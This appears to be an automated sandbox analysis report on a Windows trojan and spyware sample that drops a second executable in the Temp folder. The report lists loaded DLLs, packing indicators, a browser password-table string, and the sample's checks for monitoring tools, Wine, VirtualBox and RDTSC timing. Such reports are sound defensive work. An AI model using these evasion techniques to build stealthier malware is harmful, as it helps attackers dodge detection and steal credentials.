Source: file.exe, 00000000.00000003.1597525087.00000000063B6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1628748074.0000000005F72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1601537448.00000000063D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1607618980.0000000006318000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1605876972.00000000064DD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1614678214.0000000006313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1609175856.0000000006314000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1596797441.00000000063B6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1608845039.0000000006315000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1606413144.0000000006405000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1605723827.00000000063F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1600611650.00000000064A0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1607013817.0000000006407000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1614060391.000000000631C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1608501182.0000000006319000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1601196952.00000000063D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: ZLIB complexity 0.9979182993730408

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/2@2/2

Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\TAW4YM7XHY64JPKK4AWZZOV.exe.log

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.1455058193.0000000005E7A000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: TAW4YM7XHY64JPKK4AWZZOV.exe

String found in binary or memory: 3The file %s is missing. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe "C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe "C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Section loaded: sspicli.dll	Jump to behavior

Source: file.exe

Static file information: File size 2995712 > 1048576

Source: file.exe

Static PE information: Raw size of demkmbue is bigger than: 0x100000 < 0x2afe00

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.d80000.0.unpack :EW;.rsrc :W;.idata :W;demkmbue:EW;asnnbczd:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;demkmbue:EW;asnnbczd:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Unpacked PE file: 3.2.TAW4YM7XHY64JPKK4AWZZOV.exe.ce0000.0.unpack :EW;.rsrc:W;.idata :W;mfetmjcm:EW;cflgwhxy:EW;.taggant:EW; vs :ER;.rsrc:W;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: TAW4YM7XHY64JPKK4AWZZOV.exe.0.dr	Static PE information: real checksum: 0x2b351e should be: 0x2aab49
Source: file.exe	Static PE information: real checksum: 0x2de95c should be: 0x2e0a40

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: demkmbue
Source: file.exe	Static PE information: section name: asnnbczd
Source: file.exe	Static PE information: section name: .taggant
Source: TAW4YM7XHY64JPKK4AWZZOV.exe.0.dr	Static PE information: section name:
Source: TAW4YM7XHY64JPKK4AWZZOV.exe.0.dr	Static PE information: section name: .idata
Source: TAW4YM7XHY64JPKK4AWZZOV.exe.0.dr	Static PE information: section name: mfetmjcm
Source: TAW4YM7XHY64JPKK4AWZZOV.exe.0.dr	Static PE information: section name: cflgwhxy
Source: TAW4YM7XHY64JPKK4AWZZOV.exe.0.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0192D8D4 push ss; retf	0_3_0192D8DA
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Code function: 3_2_00CEE84B push ecx; mov dword ptr [esp], edi	3_2_00CEF55A
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Code function: 3_2_00CEE84B push eax; mov dword ptr [esp], ecx	3_2_00CEF55E
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Code function: 3_2_00E67FCE push 367057EFh; mov dword ptr [esp], ecx	3_2_00E67FFC
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Code function: 3_2_00E67FCE push 206988C8h; mov dword ptr [esp], edi	3_2_00E6802B
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Code function: 3_2_00E67FCE push 6C31F454h; mov dword ptr [esp], ebx	3_2_00E68051
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Code function: 3_2_00E757C8 push ecx; mov dword ptr [esp], 4F01FC38h	3_2_00E75EF3
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Code function: 3_2_00E757C8 push ecx; mov dword ptr [esp], eax	3_2_00E75EFE
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Code function: 3_2_00CF18CE push ebp; mov dword ptr [esp], esi	3_2_00CF25ED
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Code function: 3_2_00CF18CE push edi; mov dword ptr [esp], ecx	3_2_00CF25F1
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Code function: 3_2_00CF18CE push ecx; mov dword ptr [esp], 15E98B7Fh	3_2_00CF46C1
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Code function: 3_2_00E750E6 push 006ECF7Bh; mov dword ptr [esp], edi	3_2_00E75101
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Code function: 3_2_00CF28C7 push ebp; mov dword ptr [esp], ecx	3_2_00CF28E0
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Code function: 3_2_00E788ED push 08987FBDh; mov dword ptr [esp], esp	3_2_00E7A379
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Code function: 3_2_00E748F7 push ebp; mov dword ptr [esp], esp	3_2_00E7863F
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Code function: 3_2_00E748F7 push 3143882Eh; mov dword ptr [esp], esp	3_2_00E7975A
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Code function: 3_2_00E7B0F0 push 3A92E5C2h; mov dword ptr [esp], edi	3_2_00E7B0F5
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Code function: 3_2_00E7B0F0 push 121D1A0Dh; mov dword ptr [esp], ebp	3_2_00E7B123
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Code function: 3_2_00CF38D6 push 5D761186h; mov dword ptr [esp], ecx	3_2_00CF5430
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Code function: 3_2_00CF08D1 push 12DA10B9h; mov dword ptr [esp], ebx	3_2_00CF45A0
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Code function: 3_2_00CF08D1 push ebx; mov dword ptr [esp], edx	3_2_00CF45C5
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Code function: 3_2_00E760C6 push eax; mov dword ptr [esp], edx	3_2_00E7A38A
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Code function: 3_2_00CF08EB push 63482E8Fh; mov dword ptr [esp], edx	3_2_00CF08F6
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Code function: 3_2_00CED8E8 push 595CA060h; mov dword ptr [esp], ebx	3_2_00CED8EF
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Code function: 3_2_00E7B8C8 push 5AD8BAF2h; mov dword ptr [esp], eax	3_2_00E7B8E4
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Code function: 3_2_00E750D0 push esi; mov dword ptr [esp], eax	3_2_00E750D4
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Code function: 3_2_00CEC08D push esi; mov dword ptr [esp], 6CCFE88Ah	3_2_00CEC8F3
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Code function: 3_2_00E710AA push eax; retn 0054h	3_2_00E710B1
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Code function: 3_2_00CF089F push 164EA8B8h; mov dword ptr [esp], edi	3_2_00CF08A4
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Code function: 3_2_00E778B4 push ebx; mov dword ptr [esp], esi	3_2_00E7A70B
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Code function: 3_2_00E778B4 push eax; mov dword ptr [esp], ebp	3_2_00E7C1F3

Source: file.exe	Static PE information: section name: entropy: 7.971013518267259
Source: TAW4YM7XHY64JPKK4AWZZOV.exe.0.dr	Static PE information: section name: entropy: 7.821101915637545

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe

Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5BB0C second address: F5BB17 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5BB17 second address: F5BB1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F47E43 second address: F47E51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F0CFCDA8E56h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5ABBB second address: F5ABD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0CFCBDECE6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5ABD5 second address: F5ABDB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5ABDB second address: F5ABE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5AD5B second address: F5AD8D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCDA8E5Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jo 00007F0CFCDA8E64h 0x00000010 jmp 00007F0CFCDA8E5Ch 0x00000015 push edx 0x00000016 pop edx 0x00000017 push eax 0x00000018 push edi 0x00000019 pop edi 0x0000001a pop eax 0x0000001b jo 00007F0CFCDA8E6Dh 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5AD8D second address: F5ADAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0CFCBDECE1h 0x00000009 pushad 0x0000000a jbe 00007F0CFCBDECD6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5AEE3 second address: F5AF05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 push edx 0x00000009 pop edx 0x0000000a popad 0x0000000b jmp 00007F0CFCDA8E67h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5B309 second address: F5B317 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0CFCBDECD8h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5CD63 second address: F5CD9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c pushad 0x0000000d push esi 0x0000000e push eax 0x0000000f pop eax 0x00000010 pop esi 0x00000011 pushad 0x00000012 jnc 00007F0CFCDA8E56h 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b popad 0x0000001c mov eax, dword ptr [eax] 0x0000001e jmp 00007F0CFCDA8E60h 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 ja 00007F0CFCDA8E68h 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5CDF6 second address: F5CE3C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F0CFCBDECE1h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], eax 0x00000010 xor si, 333Fh 0x00000015 push 00000000h 0x00000017 or edx, dword ptr [ebp+122D37B0h] 0x0000001d call 00007F0CFCBDECD9h 0x00000022 pushad 0x00000023 jmp 00007F0CFCBDECDFh 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5CE3C second address: F5CE40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5CE40 second address: F5CE44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5CE44 second address: F5CE62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F0CFCDA8E63h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5CE62 second address: F5CE96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F0CFCBDECDEh 0x0000000b popad 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 jg 00007F0CFCBDECE9h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5CE96 second address: F5CEB5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCDA8E5Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d jl 00007F0CFCDA8E58h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
